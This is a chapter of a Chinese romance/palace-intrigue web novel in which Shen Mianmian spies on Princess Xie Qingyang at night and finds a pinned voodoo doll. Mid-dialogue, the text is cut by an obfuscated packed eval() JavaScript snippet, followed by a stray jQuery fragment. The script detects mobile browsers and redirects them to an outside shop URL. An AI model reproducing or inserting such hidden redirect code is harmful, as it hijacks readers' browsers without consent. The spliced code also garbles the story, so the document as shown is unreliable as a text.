“白糖用完了?”
沈棉棉将空瓶放到台面上,后退一步去拿柜顶放着的另外一瓶。下一秒,一只骨节分明的手自她耳边穿过,先一步将瓷罐取了下来。
“这个?”
声音在耳边响起,温热的气息扫过沈棉棉的脖颈。
二人贴得极近,以至于她一回头直接撞上了谢瑾渊的下巴。
“没事吧。”
沈棉棉倒吸一口凉气,抬手揉了揉额头,那人将手上的小罐放在一边,捧着她的脸仔细查看。
“我没事儿。”
她随意摆摆手,不过是撞了一下,疼一会儿便好了。
沈棉棉舀了一小勺白糖,透过杯架的缝隙看到谢青阳正托着下巴无聊地摆弄桌上的茶杯。
“你怎么把她带来了?”
“是她非得缠着本王问东问西……”
谢瑾渊晃着折扇,声音带上几分委屈,可眼神闪躲始终不去看她。
“嗯?”沈棉棉将脑袋凑过去:“好啊,熙王殿下又在骗人了。”
“有没有人和你说过,你家骗人的演技真的很差诶。”
谢瑾渊不以为然摊摊手:“有吗?”
“罢了,罢了。”他收起折扇敲了敲沈棉棉的肩头,示意她靠近些。
谢瑾渊的扇尖顺着缝隙指到谢青阳身上:“今晚,她和你住。”
“别逗我玩了谢瑾渊。”
沈棉棉当即将他的折扇推开,可看着那人一副认真的模样,又伸出食指点着自己的鼻尖:“我,今晚和她住?”
“去哪儿住啊?她平时都住在皇宫里,叫我跟着一起?”
沈棉棉一点儿也不想去。
宫里规矩多,到了晚上又得按时睡觉,早上按时起床用膳,更何况是跟着太后娘娘一起住。
大抵是受了清宫剧的影响吧,虽然沈璃小时候见过她老人家一面,为人十分和善可亲,可沈棉棉还是有些抗拒。
再说了,很多礼节她也只懂个大概,要是做错什么,小命可就交代了。
想到这儿,不免让她打了个寒战。
沈棉棉摆摆手直接拒绝:“我可不去。”
谢瑾渊一眼便看穿了她的心思,用扇骨敲了敲她的头:“不用去宫中。”
不去宫中跟着她回沈府吗?
沈棉棉故意装傻,眨巴着一双大眼睛,想要逃过一劫:“可郡主府新装修的有甲醛,住不得,住不得,还是将她接去熙王府吧。”
“沈璃。”
听到谢瑾渊语气严肃喊她的大名,沈棉棉这才意识到,事情似乎没那么简单。
“我是想叫你盯着她,我的人打探到消息说今日宫中经常有一神秘人出现,在皇兄中毒之前,那人和谢青阳见过面。”
“今日她非得出宫缠着我打听你的消息,也许,那人今日还会现身。”
“放心,来之前我已经叫暗卫通知了沈伯父,还在沈府加派了人手,不会有危险。”
这人还是这样,先斩后奏。压根儿不是询问,是通知她。
若是那神秘人真是谢瑾渊寻了许久的外邦探子,机会可就只有这一次了。
赵庆本是澜岛人,却用着夜朗国的毒药,还不断派外邦探子潜入京都,甚至拉拢山匪流民制造骚乱,只能说明他们暗通款曲,想要趁乱攻打大景。
要是战乱一起,受苦的还是平民百姓。
“好,那熙王殿下可得确保沈府的安全。”
“一定。”谢瑾渊刚才露出笑容却语气一转,摇了摇头:“每一次都是叫你做危险的事儿。”
“可每一次,因为你在都能化险为夷啊。”沈棉棉踮起脚尖去拍谢瑾渊的肩膀,旋即又拍了拍自己的胸脯:“再说了,这种保家卫国的事儿上怎么能少了我沈璃。”
国家兴亡,匹夫有责。
这可是刻在每一个人骨子里的信念。
她心里倒是希望,谢青阳相见的人不是外邦细作。
“不说了,再待下去谢青阳该起疑了。”
不出所料,谢青阳提出要去沈府小住一晚,美其名曰说是想和沈棉棉谈心,为她之前的所作所为道歉。
甜言蜜语张嘴就来,将沈府上下都哄成了翘嘴,沈棉棉也不例外。
可她当然没忘记谢瑾渊交代的任务。
原本她想让二人住自己的卧房,可谢青阳非得说自己睡相不好,要单独去住客房。
沈棉棉便借着好相互照应的借口将谢青阳安排在隔壁。
果然,在三更天夜深人静之际,隔壁传来窸窸窣窣的响动。
沈棉棉压根儿没睡,耳朵一直贴在墙根,等的就是这一刻。
谢青阳,出宫用什么借口不好,非得来沈家住。
这下要被抓包了吧,大概又得回大理寺狱里小住了。
门轴轻轻转动,沈棉棉听到谢瑾渊的暗卫已经跟了上去,便鬼使神差留在了屋中。
谁承想过了不到一炷香时刻,隔壁又开始有所动作。
沈棉棉胸腔剧烈起伏,心跳声如同鼓点般在耳旁响个不停。她摸着黑给自己倒了杯水压压惊,试图说服自己。
“也许是她的侍女起来上厕所呢。”
不对,调虎离山!
得亏了她没跟上去啊,不然还真叫这谢青阳得逞了。
熙王殿下,等着明日感谢我吧。
沈棉棉搓了搓手,在隔壁门关上后暗自数了五十个数这才跟了上去。
前头那人穿着一袭黑袍,看不清面容,沈棉棉又不敢跟得太近,怕被她发现。
直到那人自她家后院的府墙一跃而上,沈棉棉打心底里感慨:
不愧是将门之后,这身体素质,硬得能砍树了。
她费力地搬来一架木梯,待落地后觉着脚底踩了什么软趴趴的东西。
沈棉棉弯腰捡起来,借着月光才发现是个娃娃,上头扎着银针,写着沈璃的生辰八字。
这下她确定自己跟踪的就是谢青阳本人没跑了。
谢青阳真是谨慎,居然还用替身引开暗卫这一招。
只是没想到,都是当郡主的人了,还信这个。
难怪非得来沈家,不光是为了接头,还得给她放娃娃呗。
沈棉棉将那娃娃塞进一处草丛盖好,又跟了上去,直到一个拐角传来对话声。
她赶忙选了个大木箱挡住自己,沈棉棉不敢探出头看,只能竖起耳朵仔细听二人的对话。
“郡主。”
是个女生的声音,听起来年纪与谢青阳一般大。
“说了不要叫我郡主,被人听去了怎么办。”谢青阳小声儿打断那人,语气里满是不满,可沈棉棉觉着这才是她认识的谢青阳。
“还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741530|206587||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有,上一次还是太过冒进,这一次可得做好充足的准备。”
“是。”
“叫你准备的东西呢?”
“都拿来了。”
旋即是一阵翻箱倒柜,噼里啪啦的响动,然后是谢青阳的呵斥声:“说了安静些。”
“是,郡主。”
“说了别叫我郡主!”
听得出谢青阳的忍耐力已经到了极限。
“是,郡……”
那人话说一半来了个急刹车。
沈棉棉没忍住笑出了声儿,虽然立马捂上了嘴巴,可还是被他们发现了。
“你来的时候还带了尾巴?”
“不可能,没人知道郡主将碰头的地点定在了这儿。”
怎么办,怎么办,要被抓包了。
脚步声越来越近,沈棉棉张望半天也没法先能其他够藏身的地方。
“郡主,没人。”
那人将木箱猛地推开,沈棉棉原本蹲着的地方空无一人。
“还要本郡主说多少次,不要叫我郡主,不要弄出这么大的动静!”
“是。”
在那人搜过来的前一秒,沈棉棉被谢瑾渊拎着衣领藏到了一间空屋内。
沈棉棉扒着门缝卖力去瞧,这次她看清了另一个人的长相,是当时谢青阳身边那个贴身侍女。
“怎么样,打听到什么了?”
谢瑾渊故意用扇子挡住门口的缝隙却被沈棉棉一把推开。
“别动,我看不清了。”
“别看了,那一大箱都是她拿来整你的东西。”
说着谢瑾渊从背后掏出来一个东西,沈棉棉定睛一瞧,是她之前见到的那个娃娃。
“怎么在你手里?”
“跟着你发现的。”
“你一直都跟着?”
“嗯。”
可恶,她竟然没发现。
得亏跟着她的人是谢瑾渊,要不然又得被抓去深山老林了。
“所以,那个黑衣人是她的侍女?”
“并不是,那个黑衣人本王已经抓到了。而谢青阳非得去沈府找你,只是不知道从哪儿听了这么些不靠谱的东西,想叫你吃不下饭,睡不好觉,赚不到钱。”
打住,吃不下饭就当减肥了,睡不好觉对她也没什么大影响,可赚不到钱这也太恶毒了吧。
“谢瑾渊,这个有什么办法能破解不?”
谢瑾渊闻言微微挑眉,晃了晃手里的娃娃:“怎么连你也信这些。”
沈棉棉当即攥着心口的衣服,开始了自己的表演:“宁可信其有也不能与那些本该属于我的金银财宝通通说拜拜。”
“好说,满足它主人的目的就行了。”
沈棉棉抿住嘴认真思考起来。
谢青阳想害她无非是因为喜欢谢瑾渊吧。
满足她的目的……难不成得叫她做熙王妃?!
沈棉棉咬着嘴唇,一边不想谢青阳嫁到熙王府,一边又担心整真的会对她的生意有影响。
纠结一番过后,沈棉棉心一横,咬着后槽牙拉起谢瑾渊的手:“熙王殿下,你可心悦兰阳郡主?”
废话,谢瑾渊和生意,当然选生意了。
就是苦了小梅,要是真嫁给林正,还不得整日被谢青阳呼来喝去使唤?
“沈璃,你在说什么?”